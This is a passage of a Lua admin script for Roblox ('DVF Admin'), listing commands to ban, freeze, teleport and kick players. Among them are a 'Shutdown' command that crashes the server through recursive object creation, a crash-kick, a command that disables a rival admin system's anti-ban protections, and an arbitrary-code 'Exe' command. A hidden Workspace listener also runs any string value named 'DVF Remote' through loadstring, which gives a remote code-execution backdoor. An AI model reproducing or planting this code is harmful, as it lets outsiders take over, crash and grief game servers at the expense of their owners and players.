		ypcall(function()
1695
			for _,v in pairs(name.Backpack:GetChildren()) do
1696
				if string.find(v.Name:lower(), ScriptName) then
1697
					if v:IsA("Script") or v:IsA("LocalScript") then
1698
						v.Disabled = true
1699
						v:Destroy()
1700
						FoundLocal = true
1701
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1702
					end
1703
				end
1704
			end
1705
		end)
1706
		ypcall(function()
1707
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1708
				if string.find(v.Name:lower(), ScriptName) then
1709
					if v:IsA("Script") or v:IsA("LocalScript") then
1710
						v.Disabled = true
1711
						v:Destroy()
1712
						FoundLocal = true
1713
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1714
					end
1715
				end
1716
			end
1717
		end)
1718
		if FoundLocal == false then
1719
			Ping("Local Script Not Found", Speaker, 5)
1720
		end
1721
	end
1722
end)
1723
1724
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1725
	for _,v in pairs(game:GetChildren()) do
1726
		ypcall(function()
1727
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1728
				for _,a in pairs(v:GetChildren()) do
1729
					ypcall(function()
1730
						a:Destroy()
1731
					end)
1732
				end
1733
			elseif v.Name == "Players" then
1734
				for _,plr in pairs(v:GetPlayers()) do
1735
					Clear(plr)
1736
				end
1737
			end
1738
		end)
1739
	end
1740
	Clean()
1741
	Fixl()
1742
	Ping("Fully Cleaned", Speaker, 5)
1743
end)
1744
1745
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1746
	LClean()
1747
	Fixl()
1748
	Ping("Lightly Cleaned", Speaker, 5)
1749
end)
1750
1751
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1752
	local PlrTab = getPlayer(Speaker, Msg)
1753
	if #PlrTab > 0 then
1754
		for _,v in pairs(PlrTab) do
1755
			ypcall(function()
1756
				v:LoadCharacter()
1757
				Ping("Reset "..v.Name, Speaker, 5)
1758
			end)
1759
		end
1760
	end
1761
end)
1762
1763
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1764
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1765
	if Work:findFirstChild("Base") then
1766
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1767
	else
1768
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1769
	end
1770
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1771
end)
1772
1773
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1774
	local PlrTab = getPlayer(Speaker, Msg)
1775
	if #PlrTab > 0 then
1776
		for _,v in pairs(PlrTab) do
1777
			ypcall(function()
1778
				v.Character.Torso.Anchored = true
1779
				Ping("Froze "..v.Name, Speaker, 5)
1780
			end)
1781
		end
1782
	end
1783
end)
1784
1785
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1786
	local PlrTab = getPlayer(Speaker, Msg)
1787
	if #PlrTab > 0 then
1788
		for _,v in pairs(PlrTab) do
1789
			ypcall(function()
1790
				for _,v2 in pairs(v.Character:GetChildren()) do
1791
					ypcall(function()
1792
						v.Anchored = false
1793
					end)
1794
				end
1795
				Ping("Thawed "..v.Name, Speaker, 5)
1796
			end)
1797
		end
1798
	end
1799
end)
1800
1801
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1802
	local PlrTab = getPlayer(Speaker, Msg)
1803
	if #PlrTab > 0 then
1804
		for _,v in pairs(PlrTab) do
1805
			ypcall(function()
1806
				Instance.new("ForceField", v.Character)
1807
			end)
1808
		end
1809
	end
1810
end)
1811
1812
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1813
	local PlrTab = getPlayer(Speaker, Msg)
1814
	if #PlrTab > 0 then
1815
		for _,v in pairs(PlrTab) do
1816
			ypcall(function()
1817
				RemObj(v.Character, "ForceField")
1818
			end)
1819
		end
1820
	end
1821
end)
1822
1823
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1824
	local Split = GetSplit(Msg)
1825
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1826
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1827
	if #PlrTab > 0 and #PlrTab2 > 0 then
1828
		for i,v in pairs(PlrTab) do
1829
			ypcall(function()
1830
				for _,v2 in pairs(PlrTab2) do
1831
					ypcall(function()
1832
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1833
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1834
					end)
1835
				end
1836
			end)
1837
		end
1838
	end
1839
end)
1840
1841
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1842
	MakeExplorer(Speaker)
1843
end)
1844
1845
Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
1846
	wait()
1847
	Dismiss(Speaker)
1848
	NumBanned = 0
1849
	NumCmds = 0
1850
	for i = 1, #Rankings do
1851
		if Rankings[i].Rank < 0 then
1852
			NumBanned = NumBanned + 1
1853
		end
1854
	end
1855
	for i,v in pairs(Commands) do
1856
		NumCmds = NumCmds + 1
1857
	end
1858
	Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
1859
	Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
1860
	Ping("Date Started: 18th May 2013", Speaker)
1861
	Ping("Your ID: "..Speaker.userId, Speaker)
1862
	Ping("Total Number Of Players: "..#All2(), Speaker)
1863
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1864
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1865
	Ping("ShowGarbage", Speaker)
1866
end)
1867
1868
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1869
	Dismiss(Speaker)
1870
	for i,v in pairs(All()) do
1871
		Ping(v.Name.."'s Rank: "..FindRank(v))
1872
	end
1873
end)
1874
1875
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1876
	local Split = GetSplit(Msg)
1877
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1878
	local Speed = tonumber(Msg:sub(Split + 1))
1879
	for _,v in pairs(PlrTab) do
1880
		ypcall(function()
1881
			v.Character.Humanoid.WalkSpeed = Speed
1882
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1883
		end)
1884
	end
1885
end)
1886
1887
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
1888
	local RemoveAB = Instance.new("StringValue")
1889
	RemoveAB.Name = "CBA Attachment"
1890
	RemoveAB.Value = [[CBA.override=true;]]
1891
	RemoveAB.Parent = Work
1892
	Ping("Removed All CBA Anti-Bans", Speaker, 5)
1893
end)
1894
1895
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1896
	Dismiss(Speaker)
1897
	for i,v in pairs(Injected) do
1898
		Ping(i, Speaker)
1899
	end
1900
end)
1901
1902
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
1903
	local RemoveCBA = Instance.new("StringValue")
1904
	RemoveCBA.Name = "CBA Attachment"
1905
	RemoveCBA.Value = [[CBA.remove = false]]
1906
	RemoveCBA.Parent = Work
1907
	Ping("Removed All CBA Admins", Speaker, 5)
1908
end)
1909
1910
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1911
	local function BufferOverflow(object)
1912
		object.DescendantAdded:connect(BufferOverflow)
1913
		Instance.new("IntValue", object)
1914
	end
1915
	BufferOverflow(Game)
1916
end)
1917
1918
local con = game:service'Workspace'.descendantAdded:connect(function(asd)
1919
	if asd.ClassName == 'StringValue' then
1920
		if asd.Name == "DVF Remote" then
1921
			local func = loadstring(asd.Value)
1922
			if func then asd:Destroy() return pcall(func) end
1923
		end asd:Destroy()
1924
	end
1925
end)
1926
1927
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1928
	local PlrTab = getPlayer(Speaker, Msg)
1929
	if #PlrTab > 0 then
1930
		for _,v in pairs(PlrTab) do
1931
			ypcall(function()
1932
				Crash1(v)
1933
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1934
			end)
1935
		end
1936
	end
1937
end)
1938
1939
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1940
	local PlrTab = getPlayer(Speaker, Msg)
1941
	if #PlrTab > 0 then
1942
		for _,v in pairs(PlrTab) do
1943
			ypcall(function()
1944
				ChangeRank(v, -1)
1945
			end)
1946
		end
1947
	end
1948
end)
1949
1950
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1951
	local PlrTab = getPlayer(Speaker, Msg)
1952
	if #PlrTab > 0 then
1953
		for _,v in pairs(PlrTab) do
1954
			ypcall(function()
1955
				ChangeRank(v, -2)
1956
			end)
1957
		end
1958
	end
1959
end)
1960
1961
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
1962
	local PlrTab = getPlayer(Speaker, Msg)
1963
	if #PlrTab > 0 then
1964
		for _,v in pairs(PlrTab) do
1965
			ypcall(function()
1966
				ChangeRank(v, -3)
1967
			end)
1968
		end
1969
	end
1970
end)
1971
1972
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
1973
	ypcall(function()
1974
		local PlrTab = getPlayer(Speaker, Msg)
1975
		if #PlrTab > 0 then
1976
			for _,v in pairs(PlrTab) do
1977
				ypcall(function()
1978
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1979
				end)
1980
			end
1981
		end
1982
		local PlrName = ChangeRank(Msg, 0)
1983
		Ping("Un-Banned "..PlrName, Speaker, 5)
1984
	end)
1985
end)
1986
1987
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
1988
	Dismiss(Speaker)
1989
	Ping("Commands", Speaker, nil, function()
1990
		Dismiss(Speaker.Name)
1991
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1992
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1993
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1994
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1995
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1996
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1997
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1998
		Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1999
	end)
2000
	Ping("Players", Speaker, nil, function()
2001
		ListPlayers(Speaker)
2002
	end)
2003
end)
2004
2005
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2006
	ListPlayers(Speaker)
2007
end)
2008
2009
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2010
	local Func,Error = loadstring(Msg)
2011
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2012
	getfenv(Func).Speaker = Speaker
2013
	if Error == nil then
2014
		coroutine.wrap(function()
2015
			Func()
2016
		end)()
2017
		Ping("Executed Script!", Speaker, 5)
2018
	else
2019
		Ping(Error, Speaker, 10)
2020
	end
2021
end)
2022
2023
Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
2024
	if LS ~= nil then
2025
		local Split = GetSplit(Msg)
2026
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2027
		local LocalSource = Msg:sub(Split + 1)
2028
		if #PlrTab > 0 then
2029
			for _,v in pairs(PlrTab) do
2030
				local Inserted = LS:Clone()
2031
				Inserted.Disabled = true
2032
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2033
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2034
					Inserted:findFirstChild(OwnSource).Value = v.Name
2035
				end
2036
				Inserted[LSSource].Value = LocalSource
2037
				Inserted.Disabled = false
2038
			end
2039
		end
2040
	else
2041
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2042
	end
2043
end)
2044
2045
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2046
	Msg = tostring(Msg)
2047
	Ping(Msg, Speaker)
2048
end)
2049
2050
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2051
	Dismiss(Speaker)
2052
	for i,v in pairs(getfenv(1)) do
2053
		ypcall(function()
2054
			Ping(tostring(i)..": "..tostring(v), Speaker)
2055
		end)
2056
	end
2057
end)
2058
2059
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2060
	Dismiss()
2061
	Removed = true
2062
	for i,v in pairs(getfenv(1)) do
2063
		getfenv(1)[i] = nil
2064
	end
2065
	script.Disabled = true
2066
end)
2067
2068
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2069
	local Split = GetSplit(Msg)
2070
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2071
	local Rank = tonumber(Msg:sub(Split + 1))
2072
	if #PlrTab > 0 then
2073
		for _,v in pairs(PlrTab) do
2074
			if v.Name ~= Owner then
2075
				ChangeRank(v, Rank)
2076
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2077
			end
2078
		end
2079
	end
2080
end)
2081
2082
--This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).